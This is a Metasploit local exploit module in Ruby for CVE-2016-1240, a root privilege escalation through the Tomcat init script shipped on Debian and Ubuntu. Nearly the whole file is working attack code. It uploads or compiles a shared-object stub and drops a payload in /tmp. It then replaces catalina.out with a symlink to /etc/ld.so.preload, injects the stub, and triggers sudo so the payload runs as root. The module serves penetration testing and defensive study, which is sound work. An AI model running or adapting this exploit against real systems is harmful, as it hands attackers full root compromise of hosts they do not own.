###
#
# This exploit sample shows how an exploit module could be written to exploit
# a bug in a command on a linux computer for priv esc.
#
###
class MetasploitModule < Msf::Exploit::Local
Rank = ManualRanking
include Msf::Exploit::Retry
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Post::Linux::Compile
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache Tomcat on Ubuntu Log Init Privilege Escalation',
'Description' => %q{
Tomcat (6, 7, 8) packages provided by default repositories on Debian-based
distributions (including Debian, Ubuntu etc.) provide a vulnerable
tomcat init script that allows local attackers who have already gained access
to the tomcat account (for example, by exploiting an RCE vulnerability
in a java web application hosted on Tomcat, uploading a webshell etc.) to
escalate their privileges from tomcat user to root and fully compromise the
target system.
Tested against Tomcat 8.0.32-1ubuntu1.1 on Ubuntu 16.04
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'Dawid Golunski <dawid@legalhackers.com>' # original PoC, analysis, discovery
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64, ARCH_PYTHON ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'DefaultOptions' => {
'PrependFork' => true,
'WfsDelay' => 1800 # 30min
},
'References' => [
[ 'EDB', '40450' ],
[ 'URL', 'https://ubuntu.com/security/notices/USN-3081-1'],
[ 'URL', 'http://legalhackers.com/advisories/Tomcat-DebPkgs-Root-Privilege-Escalation-Exploit-CVE-2016-1240.html'],
[ 'CVE', '2016-1240']
],
'DisclosureDate' => '2016-09-30',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS]
}
)
)
register_options [
OptString.new('CATALINA', [ true, 'Location of catalina.out file', '/var/log/tomcat8/catalina.out' ])
]
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
]
end
def base_dir
datastore['WritableDir'].to_s
end
def preload
'/etc/ld.so.preload'
end
def catalina
datastore['CATALINA']
end
def check
package = cmd_exec('dpkg -l tomcat[6-8] | grep \'^i\'')
if package.nil? || package.empty?
return CheckCode::Safe('Unable to execute command to determine installed pacakges')
end
package = package.gsub('\s+', ' ') # replace whitespace with space so we can split easy
package = package.split(' ')
# 0 is ii for installed
# 1 is tomcat# for package name
# 2 is version number
package = Rex::Version.new(package[2])
if (package.to_s.start_with?('8') && package < Rex::Version.new('8.0.32-1ubuntu1.2')) ||
(package.to_s.start_with?('7') && package < Rex::Version.new('7.0.52-1ubuntu0.7')) ||
(package.to_s.start_with?('6') && package < Rex::Version.new('6.0.35-1ubuntu3.8'))
return CheckCode::Appears("Vulnerable app version detected: #{package}")
end
CheckCode::Safe("Unexploitable tomcat packages found: #{package}")
end
def exploit
# Check if we're already root
if is_root? && !datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'
end
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
unless file? catalina
fail_with Failure::BadConfig, "#{catalina} not found or still symlinked"
end
if file? preload
fail_with Failure::BadConfig, "#{preload} found, check file as it needs to be removed for exploitation"
end
vprint_status("Creating backup of #{catalina}")
@catalina_content = read_file(catalina)
path = store_loot(
catalina,
'text/plain',
rhost,
@catalina_content,
'catalina.out'
)
print_good("Original #{catalina} backed up to #{path}")
if live_compile?
# upload our privesc stub
so_stub = ".#{rand_text_alphanumeric(5..10)}.so"
so_stub_path = "#{base_dir}/#{so_stub}"
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
# Upload exploit stub
vprint_status "Compiling exploit stub: #{so_stub_path}"
upload_and_compile so_stub_path, strip_comments(exploit_data('CVE-2016-1240', 'privesc_preload.c').gsub('$BACKDOORPATH', payload_path)), '-Wall -fPIC -shared -ldl'
else
payload_path = '/tmp/.jMeY5vToQl'
so_stub = '.ny9NyKEPJ.so'
so_stub_path = "/tmp/#{so_stub}"
write_file(so_stub_path, exploit_data('CVE-2016-1240', 'stub.so'))
end
register_file_for_cleanup(so_stub_path)
# Upload payload executable
vprint_status("Uploading Payload to #{payload_path}")
upload_and_chmodx payload_path, generate_payload_exe
register_file_for_cleanup(payload_path)
# delete the log and symlink ld.so.preload
vprint_status("Deleting #{catalina}")
rm_f(catalina)
vprint_status("Creating symlink from #{preload} to #{catalina}")
cmd_exec("ln -s #{preload} #{catalina}")
register_file_for_cleanup(catalina)
# we now need tomcat to restart
print_good("Waiting #{datastore['WfsDelay']} seconds on tomcat to re-open the logs aka a Tomcat service restart")
succeeded = retry_until_truthy(timeout: datastore['WfsDelay']) do
file? preload
end
unless succeeded
print_error("#{preload} not found, exploit aborted")
return
end
register_file_for_cleanup(preload)
# now that we can write to ld.so.preload, use a SUID binary to execute our stub
print_status("injecting #{so_stub_path} into #{preload}")
cmd_exec "echo #{so_stub_path} > #{preload}"
print_status('Escalating payload privileges via SUID binary (sudo)')
cmd_exec 'sudo --help 2>/dev/null >/dev/null'
print_status('Executing payload')
cmd_exec payload_path
end
def cleanup
if @catalina_content.nil?
cmd_exec("touch #{catalina}")
else
write_file(catalina, @catalina_content)
end
super
end
end